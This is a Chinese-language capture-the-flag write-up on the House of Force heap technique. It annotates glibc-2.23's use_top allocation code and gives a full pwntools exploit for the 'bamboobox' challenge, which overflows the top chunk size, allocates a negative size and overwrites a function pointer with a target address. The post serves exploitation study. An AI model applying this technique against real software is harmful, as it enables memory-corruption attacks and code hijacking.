House Of Force

October 30, 2019 PWN 访问: 30 次

利用该漏洞必要的前提条件:
- 能够控制top chunk的size字段
- malloc的size可控
在这个过程中,av->top会根据我们malloc的大小而改变
改变规则:当前top地址加上我们输入的大小(对齐后)
eg:
malloc地址:0x601010
top chunk地址:0x602020
将topchunk的size覆盖成-1(0xffffffffffffffff)
申请(0x601020-0x602020)大小的chunk
再申请的时候就会从0x601010开始分配

再分配chunk大小的计算

这计算的我有点晕,搞了几个小时,还是迷迷糊糊的

要满足的需要条件:remainder_size >= 最后分配chunk大小(带head头部)
我们输入负数地址在_int_malloc的处理
首先是checked_request2size (bytes, nb);,这里面计算的是我们输入的size加上head头部总大小,存在nb中,当我们输入负数的时候,在内存中会转换成无符号整形的一个很大的数,而checked_request2size中计算中不是以负数来算的,所以说我们在输入size的时候要在原来的基础上减去0x10
接着到use top的关键代码
glibc源码分析:(glibc-2.23/malloc/malloc.c

    use_top:
      /*
         If large enough, split off the chunk bordering the end of memory
         (held in av->top). Note that this is in accord with the best-fit
         search rule.  In effect, av->top is treated as larger (and thus
         less well fitting) than any other available chunk since it can
         be extended to be as large as necessary (up to system
         limitations).
         We require that av->top always exists (i.e., has size >=
         MINSIZE) after initialization, so if it would otherwise be
         exhausted by current request, it is replenished. (The main
         reason for ensuring it exists is that we may need MINSIZE space
         to put in fenceposts in sysmalloc.)
       */
      victim = av->top;//获取当前top chunk的地址
      size = chunksize (victim);//获取当前top chunk的size
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))//检测剩余的大小够不够我们输入负数时要分配的size
        {
          remainder_size = size - nb;//剩下的大小
          remainder = chunk_at_offset (victim, nb);//计算分配后的top chunk的位置,在这个宏里面,nb被当作有符号的数来运算,也就是说会当作负数来运算
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));//设置本次分配的prev_size字段
          set_head (remainder, remainder_size | PREV_INUSE);//设置top chunk的prev_size字段
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
      /* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (have_fastchunks (av))
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }
      /*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }

bamboobox

存在堆溢出,malloc时的size可控,并且是int类型
所以我们可以利用HOF来获取flag
Exp:

from pwn import *
import sys
context.log_level='debug'
debug = 1
file_name = './bamboobox'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(chunk_size,value):
    ru('Your choice:')
    sl('2')
    ru('Please enter the length of item name:')
    sl(str(chunk_size))
    ru('Please enter the name of item:')
    sl(value)
def delete(index):
    ru('Your choice:')
    sl('4')
    ru('Please enter the index of item:')
    sl(str(index))
def show(index):
    ru('Your choice:')
    sl('1')
def edit(index,size,value):
    ru('Your choice:')
    sl('3')
    ru('Please enter the index of item:')
    sl(str(index))
    ru("Please enter the length of item name:")
    sl(str(size))
    ru('Please enter the new name of the item:')
    sl(value)
def debug():
    gdb.attach(r)
    raw_input()
magic = 0x000000000400D49
create(0x20,"\x00")
edit(0,0x30,"a"*0x28+"\xf1\xff\xff\xff\xff\xff\xff\xff")
debug()
create(-0x50-0x10,"\x00")
# create(0x10,p64(0x1)+p64(0x2))
create(0x10,p64(magic)*2)
ru('Your choice:')
sl('5')
# debug()
ri()

添加新评论